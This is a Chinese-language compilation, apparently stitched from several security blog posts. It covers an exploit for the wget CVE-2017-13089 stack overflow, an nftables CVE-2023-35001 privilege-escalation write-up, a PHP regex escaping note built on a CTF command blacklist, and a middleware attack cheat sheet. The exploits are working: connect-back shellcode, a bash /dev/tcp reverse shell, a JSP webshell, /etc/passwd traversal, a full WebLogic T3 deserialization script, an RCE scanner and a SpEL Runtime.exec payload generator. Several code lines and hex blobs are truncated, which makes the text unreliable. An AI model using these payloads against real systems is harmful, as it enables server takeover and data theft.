②第二点是我在复现的时候,明明已经关闭了ASLR了,按理说每次调试的时候,栈地址应该不会变才对,但事实上,我当天的地址是固定的,但隔天可能就会有0x10的偏移,很诡异,这就导致exp无法稳定攻击,为此只能在shellcode前面加很多的nop,让这个地址即使发生了偏移也能完成利用。
CVE-2017-13089
1.漏洞描述
http.c:skip_short_body() 函数在某些情况下被调用,例如在处理重定向时,在 1.19.2 之前的 wget 中分块发送响应时,块解析器使用 strtol() 读取每个块的长度,但不检查块长度是否为非负数,然后,代码尝试使用 MIN() 宏跳过 512 字节的块,但最终将负块长度传递给 connect.c:fd_read(),由于 fd_read() 采用 int 参数,因此丢弃了块长度的 32 位高位,使 fd_read() 具有完全由攻击者控制的长度参数。
2.环境搭建
在ubuntu16.04下搭建会比较稳定。
sudo apt-get install libneon27-gnutls-dev
wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
tar zxvf wget-1.19.1.tar.gz
cd wget-1.19.1
sudo apt-get remove wget
./configure
make && sudo make install
3.漏洞成因
由于使用strtol来读取每个块的长度,但没有进行负数检查。
例如读入长度为-0xFFFFF000,经过处理得到v22为0xffffffff00001000
后面有3次对长度的校验,但都只进行了上限校验,未进行下限校验,由于v22是int,且符号位为1,都满足校验条件,最终将长度传入函数fd_read。
由于fd_read()函数的长度参数即a3为无符号数,就使得读取的长度由用户可控,造成了栈溢出。
4.漏洞利用
这里在进行利用时,我们首先关闭ASLR、PIE、Canary、RELRO、NX等缓解机制。
根据漏洞成因的分析,我们可以先构造poc,控制读取的长度为我们利用需要的size,这里我设置为0x1000,相应poc如下
payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFF000
"""
调试方式:
生成poc
python3 exp.py
发包窗口
nc -lp 6666 < poc2
gdb调试窗口
gdb wget
b *addr
r localhost:6666
先执行exp,生成poc,然后发包,然后执行wget http://localhost:6666
这个的栈溢出就比前面那个cve的栈溢出正常一点,直接覆盖返回地址为shellcode的地址就可以了。由于我们这里关闭了所有缓解机制,就直接在栈中布置shellcode,获取shellcode地址,覆盖到返回地址就ok了。
exp如下
from pwn import *
payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFF000
"""
context(arch='amd64', os='linux')
sc = asm(shellcraft.connect('127.0.0.1',4444)+shellcraft.dupsh())
#print(sc)
payload = payload.encode()
payload += sc + (560+8-len(sc))*b'\x90' #栈偏移量568
stack = 0x7fffffffd190
payload += p64(stack) #输入数据起始地址
payload += b"\n0\n"
with open('poc2','wb') as f:
f.write(payload)
但是,如果开了ASLR,怎么办呢,我们很自然地会想到jmp reg的方式。
首先看看ret的时候,有没有寄存器可以用
很巧,rsi正好指向我们的shellcode,于是我们就可以去找个jmp rsi的gadget完成ASLR的绕过
直接找gadget比较慢,可以先把所有gadget重定向到txt中,然后在txt中查找会比较快
ROPgadget --binary=wget > gadget.txt
cat gadget.txt | grep 'jmp rsi'
得到绕过ASLR的exp
from pwn import *
payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFF000
"""
context(arch='amd64', os='linux')
sc = asm(shellcraft.connect('192.168.110.138',4444)+shellcraft.dupsh())
#print(sc)
payload = payload.encode()
payload += sc + (560+8-len(sc))*b'\x90' #栈偏移量568
stack = 0x7fffffffd190
jmp_rsi = 0x0000000000475bcb
#payload += p64(stack) #输入数据起始地址
payload += p64(jmp_rsi)
payload += b"\n0\n"
with open('poc2','wb') as f:
f.write(payload)
可以看到,成功绕过了ASLR缓解机制,执行shellcode
5.坑点
在复现的过程中,我发现在关闭ASLR时,我通过第一种方式攻击,必须在gdb中执行才能成功,如下图
直接在命令行中执行wget http://localhost:6666会崩溃
但绕过ASLR的exp就可以直接执行,我怀疑是没有把ASLR完全关闭,但查看ASLR的值确实都是0,不知道为啥会这样。
小总结
在对这两个cve的复现中,对栈溢出漏洞的ret2shellcode和jmp reg两种利用方式进行了复习,遇到了一点比较有意思的东西,比如第一个cve中ret前对esp的改变。不论是在ctf中还是realworld,程序的利用最终一定是基于对程序汇编的理解,遇到问题,回归本源。
KASLR绕过及提权利用(CVE-2023-35001)
前言
本文将介绍如何绕过KASLR以及如何提权利用。
KASLR绕过
可以利用byteorder操作加上netlink组订阅可以泄露rule中的handle字段。该方法应该是可以用来泄露kernel基地址的,但是作者还提出另一种方法进行泄露。应该是为了提权利用做铺垫。
由于发现已经泄露的模块的基地址,因此可以利用模块地址伪造表达式。
作者找到了range表达式,用于伪造其余表达式。总大小为0x23。并且表达式是八字节对齐的,因此该结构体会占用0x28字节。
struct nft_range_expr {
struct nft_data data_from;
struct nft_data data_to;
u8 sreg;
u8 len;
enum nft_range_ops op:8;
};
具体的布局如下
可以看到data_from与data_to都是从用户态中传递过去的数据,因此我们可以在这些区域内伪造表达式,这有点像在CTF中,我们泄露了堆块基址后,随意伪造堆块。
由于我们有0x28字节的空间,但是实际能够操作的空间是data_from与data_to两段,即0x20的空间大小。因此我们需要挑选小于0x20的规则表达式进行伪造,并且能够执行泄露功能的。
这里作者选用了byteorder表达式,可以看到该表达式在对齐后只占用八字节。
struct nft_byteorder {
u8 sreg;
u8 dreg;
enum nft_byteorder_ops op:8;
u8 len;
u8 size;
};
构造后,可以发现还有八字节的data_to没有用,但是并不能直接丢弃不适用,因为在调用完byteorder操作后还需要继续执行其他规则表达式。
但是其他表达式都是需要大于0x8的,毕竟一个操作指针就占用八字节了,此时作者选用了meta表达式。可以看到meta表达式也只用到了三个字节,刚好对应range表达式的sreg、len以及op。
struct nft_meta {
enum nft_meta_keys key:8;
u8 len;
union {
u8 dreg;
u8 sreg;
};
};
meta表达式的操作如下,在meta表达式中meta->key执行具体的操作,如[1],但是若该值是非法值则会执行[2],可以看到该meta表达式仅会抛出异常,但是不会终止运行,这就说明即使meta->key是非法值也不会影响后续规则表达式的正常执行。
File: linux-5.19\net\netfilter\nft_meta.c
418: void nft_meta_set_eval(const struct nft_expr *expr,
419: struct nft_regs *regs,
420: const struct nft_pktinfo *pkt)
421: {
422: const struct nft_meta *meta = nft_expr_priv(expr);
423: struct sk_buff *skb = pkt->skb;
424: u32 *sreg = ®s->data[meta->sreg];
425: u32 value = *sreg;
426: u8 value8;
427:
428: switch (meta->key) { ----> [1]
429: case NFT_META_MARK:
430: skb->mark = value;
431: break;
432: case NFT_META_PRIORITY:
433: skb->priority = value;
434: break;
435: case NFT_META_PKTTYPE:
436: value8 = nft_reg_load8(sreg);
437:
438: if (skb->pkt_type != value8 &&
439: skb_pkt_type_ok(value8) &&
440: skb_pkt_type_ok(skb->pkt_type))
441: skb->pkt_type = value8;
442: break;
443: case NFT_META_NFTRACE:
444: value8 = nft_reg_load8(sreg);
445:
446: skb->nf_trace = !!value8;
447: break;
448: #ifdef CONFIG_NETWORK_SECMARK
449: case NFT_META_SECMARK:
450: skb->secmark = value;
451: break;
452: #endif
453: default:
454: WARN_ON(1); ---->[2]
455: }
456: }
因此第二个伪造的表达式也找到了,就是meta表达式。由于我们直接伪造了规则表达式,因此不会进行寄存器参数的校验,只要选择内核地址选择泄露即可。
这里简单说一下伪造的规则头,此时的len需要设置为0x20以及islast需要设置为0。
最后泄露的效果如下,即使内核已经抛出了异常,但是不会影响后续表达式的正常执行。
提权利用
既然可以随意伪造表达式,因此我们可以伪造payload表达式。
struct nft_payload {
enum nft_payload_bases base:8;
u8 offset;
u8 len;
u8 dreg;
};
在regs下方存在着nft_do_chain函数返回地址,因此可以直接通过payload表达式将提权payload注入进来。
由于我们可以伪造payload表达式,因此注入的payload长度不受限,因此采用
commit_creds(prepare_kernel_cred(0)),构造root凭证
接着利用find_task_by_vpid、init_nsproxy以及switch_task_namespaces切换命名空间。
最后利用蹦床swapgs_restore_regs_and_retrun_to_usermode返回到用户空间完成提权利用。
完整exp:https://github.com/h0pe-ay/Vulnerability-Reproduction/tree/master/CVE-2023-35001(nftables)
关于转义符 \ 在php正则中的匹配问题
今天做题遇到一个很经典的问题,记录一下,先看一段代码
<?php
$str,=,"\\";
$pattern,=,"/\\/";
if(preg_match($partern,$str,$arr))
{
,,,,echo,"success";
,,,,print_r($arr);
}else{
,,,,echo,"false";
}
看到这段代码的师傅们,思考一下,会输出success还是false
输出false,正则没有被匹配到,为什么呢?
php对转义符的解析
php解析正则时分为了两个步骤,一个是php对字符串的解析,之后才是对正则的解析,那么php在解析字符串时什么时候才会将\解析为转义呢?只有在某一字符会对这一语句产生混淆时,php才会将\解析为转义。
分析一个正则匹配
首先php对字符串进行解析:
在这种情况下可以看到str中\并没有被当成转义符
而在pattern中,由于有多个\并且在正则表达式中存在/,会混淆正则表达式的边界,因此这四个转义符的作用分别是:
第一个转义符转义第二个转义符
第三个转义符转义第四个转义符,第五个转义符转义/
因此php最终解析出的str为,\/,pattern为,\\/
到preg_match时,进行正则解析(正则解析只解析正则表达式):
将pattern中的,\\/,解析为\/,(第一个转义符转义了第二个转义符)
经过php和正则的解析后,我们可以发现str与pattern是一样的字符串了,所以应该会输出success,并且匹配到的部分为\/
验证成功
这里提出一个问题,如果在pattern中,我的正则内容中不想使用\来转义/,并且还想输出success,那应该怎么修改正则内容呢?
我们刚才提到,转义是为了防止语句中的字符产生混淆,/与正则边界产生了混淆,所以我们用其他的字符作为边界就好了,比如#
总结:在一般情况下,只有字符串中的某一字符会对该语句产生混淆,这时该符号前的\才具有转义作用。
这里我在做测试有一个小坑
首先php的字符串解析:可以看到由于字符串中并没有可能会产生混淆语句的字符,因此\都没有转义作用。
正则进行解析(只解析正则表达式,不解析其他字符串):pattern中的\/被解析成了/,
因此最终的正则匹配是在字符串\/中匹配/,因此输出了/
这里我一开始以为str中的\也发挥了转义作用,其实并不是。
回到最初的问题,为什么输出了false
<?php
$str,=,"\\";,
$pattern,=,"/\\/";,,
if(preg_match($partern,$str,$arr))
{
,,,,echo,"success";
,,,,print_r($arr);
}else{
,,,,echo,"false";
}
按照上面的流程分析,
首先php进行字符串解析:
str被解析为\,pattern被解析为\
进行正则表达式解析:
pattern中含有转义符\,现在正则需要这个转义符去发挥转义作用,但在正则表达式中已经没有其他字符去转义了,导致了正则表达式的解析错误,pattern最终被解析成了什么我们也不知道
所以最终在进行正则匹配时会输出false
那么我们应该怎么让它输出success呢?
php正则如何正确匹配\
刚才我们提到在正则解析时只剩下了一个\,导致了解析的错误,那么如果我们在正则解析这步剩下两个\是不是就可以在正则解析中保留下一个\呢?再往前推,如果想要正则解析这步里保留两个\,那么在定义partern字符串的时候我们是不是要写四个\才可以?
具体的解析过程我就不讲了,跟上面是完全一样的。
总结:php在正则中匹配\时需要在正则表达式中写入四个\
一道ctf题的分析
题目来源:[安洵杯,2019]easy_web,wp移步主页查找,如果没有就是还没写完。
if,(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",,$cmd)),{
,,,,echo("forbid,~");
在这一段代码中对传入的cmd命令进行了过滤,并且可以看到其中有四个反斜杠,对\做出了过滤,但最后仍然可以用反斜线逃逸,ca\t,l\s执行命令,这是为什么呢?
按照我们上面所说的进行分析,首先php对字符串进行解析:
\\被解析为\
\\\\,被解析为\\
经过字符串解析,原本的|\\|\\\\|,变成了|\|\\|
正则表达式解析:
第一个\|被解析为|
\\被解析为\
经过两次解析后,最终的正则表达式变成了||\|,所以实际上是对|\进行了过滤,所以就可以使用\进行绕过了。
因此解决的办法是在正则过滤中不要添加\\这一项,会导致整个正则表达式直接变味。
这里跟着原帖看发现原帖说的有点问题,自己思考了一下做出了一些猜想,发现是正确的。
还有原帖中提到的一个问题,这里为什么随便一个字符串甚至是空都可以匹配成功,因为在|\\\\|的左右两边没有东西,为空,所以随便匹配都可以匹配到。
解决方法就是两边加上东西就可以了。
自己的小感想
这道题在网上的wp基本都是直接用\去执行命令,但很少有人能去讨论为什么可以这么绕过,后端代码已经做出了过滤,为什么还是会被绕过,我很幸运能够看到更深的分析,这也是我第一次自己有独立的想法去不断的调试代码,虽然每一次看到其他大佬wp里不合理的地方感觉很迷茫,但是还找不到理由,但是经过不断的调试发现有些其他大佬的东西也不一定就都是对的,而且自己不断调试后找到问题有一种说不出来的成就感,总结起来就是看问题要深入,有耐心。引用原帖的一句话就是
中间件漏洞攻防学习总结
前言
面试常问的一些中间件,学习总结一下。以下环境分别使用vulhub和vulfocus复现。
Apache
apache 文件上传 (CVE-2017-15715)
描述: Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。 此漏洞的出现是由于 apache 在修复第一个后缀名解析漏洞时,用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析,导致绕过一些服务器的安全策略
说明是黑名单绕过使用编码器,在php后面加0a这里加a是方便修改0a
apache httpd解析漏洞
查看配置文件grep -rn "x-httpd-php"改漏洞存在的主要原因是这个配置文件的原因
Apache SSI 远程命令执行漏洞
在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->语法执行任意命令。有限制,影响版本是apache全版本,支持SSI与CGI默认的扩展名是.stm、.shtm 和 .shtml
CVE-2021-41773 目录穿越
Apache HTTP Server2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。符合版本payload curl -v --path-as-is http://192.168.48.144:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
CVE-2021-42013 RCE&目录遍历&文件解析
apache HTTP Server2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache2.4.49 和 Apache2.4.50,而不影响更早版本POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1Host: 192.168.48.144:8
echo;id
Tomcat
CVE-2017-12615 文件上传
当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限这里存在PUT任意文件上传漏洞但是值得一提的是这里有个细节,org.apache.jasper.servlet.JspServlet:默认处理jsp,jspx文件请求,不存在PUT上传逻辑,无法处理PUT请求org.apache.catalina.s
<%if("666".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>
/绕过%20绕过xxx.jsp::$DATA绕过冰蝎马连接
CVE-2020-1938 文件包含
ApacheTomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。漏洞影响的产品版本包括:Tomcat6.*Tomcat7.<7.0.100Tomcat8.<8.5.51Tomcat9.*<9.0.31使用这个脚本CNVD-2020-10487-Tomcat-Ajp-lfi.pyhttps://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfipython2 CNVD-20
tomcat弱口令getshell
这里弱口令地点在这个manager这里尝试tomcat/tomcat使用哥斯拉生成jsp马,然后压缩zip,修改文件名war在这里上传这里多个目录,地址请求/1/1.jspwebshell连接
weblogic
Weblogic是Oracle公司推出的J2EE应用服务器。探针默认端口:7001推荐工具https://github.com/KimJun1010/WeblogicTool/
weblogic ssrf(CVE-2014-4210)
weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。影响版本Oracle WebLogic Server 10.3.6.0Oracle WebLogic Server 10.0.2.0http://192.168.48.144:7001/uddiexplorer/ 未授权访问ssrf payload/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Bus
weblogic 反序列化(CVE-2017-10271)
描述: Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。 Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。该漏洞的原因主要是XMLDecoder解析用户的XML的数据
weblogic 反序列化(CVE-2018-2628)
该漏洞通过T3协议触发,可导致远程命令执行漏洞影响版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
什么是T3协议?T用于在Weblogic服务器和其他类型的Java程序之间传输信息的协议。Weblogic会跟踪连接到应用程序的每个Java虚拟机,要将流量传输到Java虚拟机,Weblogic会创建一个T3连接。该链接会通过消除在网络之间的多个协议来最大化效率,从而使用较少的操作系统资源。用于T3连接的协议还可以最大限度减少数据包大小,提高传输速度http://192.168.48.144:7001/ 访问7001端口,也是这个页面,类似springboot,可以用这个作为weblogic的特征
bash -i >& /dev/tcp/192.168.48.144/6677 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82Njc3IDA+JjE=
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82Njc3IDA+JjE=}|{base64,-d}|{bash,-i}'CVE-2018-2628 EXP
from __future__ import print_function
import binascii
import os
import socket
import sys
import time
def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
#generates ysoserial payload
command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
print("command: " + command)
os.system(command)
bin_file = open('payload.out','rb').read()
return binascii.hexlify(bin_file)
def t3_handshake(sock, server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('handshake successful')
def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c6545
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))
def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c00007870
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e74657
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res
def exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(65)
server_addr = (dip, dport)
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload = generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
print("payload: " + payload)
rs=send_payload_objdata(sock, payload)
print('response: ' + rs)
print('exploit completed!')
if __name__=="__main__":
#check for args, print usage if incorrect
if len(sys.argv) != 7:
print('\nUsage:\nexploit.py [victim ip] [victim port] [path to ysoserial] '
'[JRMPListener ip] [JRMPListener port] [JRMPClient]\n')
sys.exit()
dip = sys.argv[1]
dport = int(sys.argv[2])
path_ysoserial = sys.argv[3]
jrmp_listener_ip = sys.argv[4]
jrmp_listener_port = sys.argv[5]
jrmp_client = sys.argv[6]
exploit(dip, dport, path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client)
weblogic 未授权RCE(CVE-2020-14882)
漏洞影响版本Oracle Weblogic Server 10.3.6.0.0Oracle Weblogic Server 12.1.3.0.0Oracle Weblogic Server 12.2.1.3.0Oracle Weblogic Server 12.2.1.4.0Oracle Weblogic Server 14.1.1.0.0payload 未授权访问后台http://192.168.48.144:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsContro
http.client.HTTPConnection.http_vsn = 10http.client.HTTPConnection.http_vsn_str = 'HTTP/1.0'
requests.packages.urllib3.disable_warnings()
#功能1方法:回显命令执行。def command(url_cmd,headers_cmd,url): try: res = requests.get(url_cmd, headers = headers_cmd,timeout = 15, verify = False) if "<html" not in res.text and "<TITLE" not in res.text : print ("[+] Command success result:") print (res.text)
else:
print ("[-] " + url + " not vulnerable or command error!")
except Exception as e:
#print (e)
print ("[-] " + url + " not vulnerable or command error!")
#功能2方法:无回显,命令执行,适用于Weblogic 10.x、12.x。def weblogic_12(url_cmd,post_12,headers_12): try: res = requests.post(url_cmd, data = post_12, headers = headers_12,timeout = 15, verify = False) #print ("[+] Attack complete!") except Exception as e: print ("[+] Attack complete!")
def main(): banner = """ ___ ___ _ _ _ _ __ _ _ _ _ _ / __\ \ / / | |__ \ / _ _ \ / _ \ /_ | || | / _ \ / _ __ \ | | \ \ / /| |_ __ ) | | | | ) | | | |__| | || || () | () | ) || | \ \/ / | |_/ /| | | |/ /| | | |_| | _> _ < > _ < / / | | \ / | | / /| || / /| || | | | | || () | () / / _| \/ |__| ||_/_
Author:GGyao
Github:[https://github.com/GGyao](https://github.com/GGyao)
"""
print (banner)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="Target URL; Example:http://ip:port。")
parser.add_argument("-f", "--file", help="Target File; Example:target.txt。")
parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
parser.add_argument("-x", "--xml", help="Remote XML file; Example:[http://vpsip/poc.xml;](http://vpsip/poc.xml;) ")
args = parser.parse_args()
#功能1:命令回显。
if args.url != None and args.cmd != None:
url = args.url
url_cmd = args.url + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentW
headers_cmd = {
'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
'cmd':args.cmd,
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type':'application/x-www-form-urlencoded'
}
#post_cmd = """_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandle
#command(url_cmd,post_cmd,headers_cmd,url) command(url_cmd,headers_cmd,url)
#功能2:weblogic 12.x命令执行。
if args.url != None and args.xml != None:
url_cmd = args.url + '/console/images/%252e%252e/console.portal'
headers_12 = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type':'application/x-www-form-urlencoded'
}
post_12 = """_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22{}%22)""".format(args.xml)
weblogic_12(url_cmd,post_12,headers_12)
# 功能3:回显命令执行批量。
if args.file != None and args.cmd != None:
#print (1)
for File in open(args.file):
File = File.strip()
url_cmd = File + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(
print ("[*] >>> Test:" + File)
url = File
headers_cmd = {
'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
'cmd':args.cmd,
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type':'application/x-www-form-urlencoded'
} #post_cmd = """_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHand
command(url_cmd,headers_cmd,url)
if name=="main": main():::python3 CVE-2020-14882.py -u http://192.168.48.144:7001 -c "whoami"
weblogic RCE (CVE-2023-21839)
漏洞介绍CVE-2023-21839是Weblogic产品中的远程代码执行漏洞,由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功可能会导致Oracle Weblogic服务器被控制,远程注入操作系统命令或代码。java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.48.144使用工具进行攻击下载地址https://github.com/DXask88MA/Weblogic-CVE-2023-21839ja
weblogic weak_password
该漏洞复现过程为通过任意文件读取其密文和加密的密钥文件进行破解,然后用得到的密码进行登陆,利用后台文件上传进行getshell复现过程任意文件读取payload hello/file.jsp?path=SerializedSystemIni.dat 二进制文件是密钥config.xml 是密文weblogic密码使用AES加密,老版本使用的是DES。需要找到密钥即可对密文进行解密这里利用任意文件读取漏洞对密钥和密文进行读取/hello/file.jsp?path=security/SerializedSystemIni.dat这里复制到文件/hello/file.jsp?path=config
浅浅总结下,weblogic特征404页面。/console可访问登陆,进后台管理可以通过war包上传getshell,有xmldecode反序列化和T3协议反序列化,存在SSRF漏洞打内网漏洞
spring
spring框架Spring是一个轻量级Java开发框架,最早有Rod Johnson创建,目的是为了解决企业级应用开发的业务逻辑层和其他各层的耦合问题。它是一个分层的JavaSE/JavaEE full-stack(一站式)轻量级开源框架,为开发Java应用程序提供全面的基础架构支持。Spring负责基础架构,因此Java开发者可以专注于应用程序的开发。springboot框架介绍SpringBoot是一个快速开发的框架,能过快速整合第三方框架,他是如何快速整合的呢?其实他是的基本原来是Maven依赖关系,Maven的集成,完全采用注解化,简化XML配置,内嵌HTTP服务器(Tomcate,
敏感信息泄露漏洞
这里直接上工具扫就行https://github.com/AabyssZG/SpringBoot-Scan工具使用 python3 SpringBoot-Scan.py -u "http://192.168.48.133:8080/%22 信息泄露 python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/%22 漏洞利用
Spring-security-oauth(CVE-2016-4977)
影响版本Spring Security OAuth 2.3到2.3.2Spring Security OAuth 2.2到2.2.1Spring Security OAuth 2.1到2.1.1Spring Security OAuth 2.0到2.0.14payloadadminadminhttp://192.168.48.133:8080/oauth/authorize?response_type=$%7B3*3%7D&client_id=acme&scope=openid&redirect_uri=http://test&&&response_type参数值会被当做Spring SpEL
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).c
Spring WebFlow远程代码执行(CVE-2017-4971)
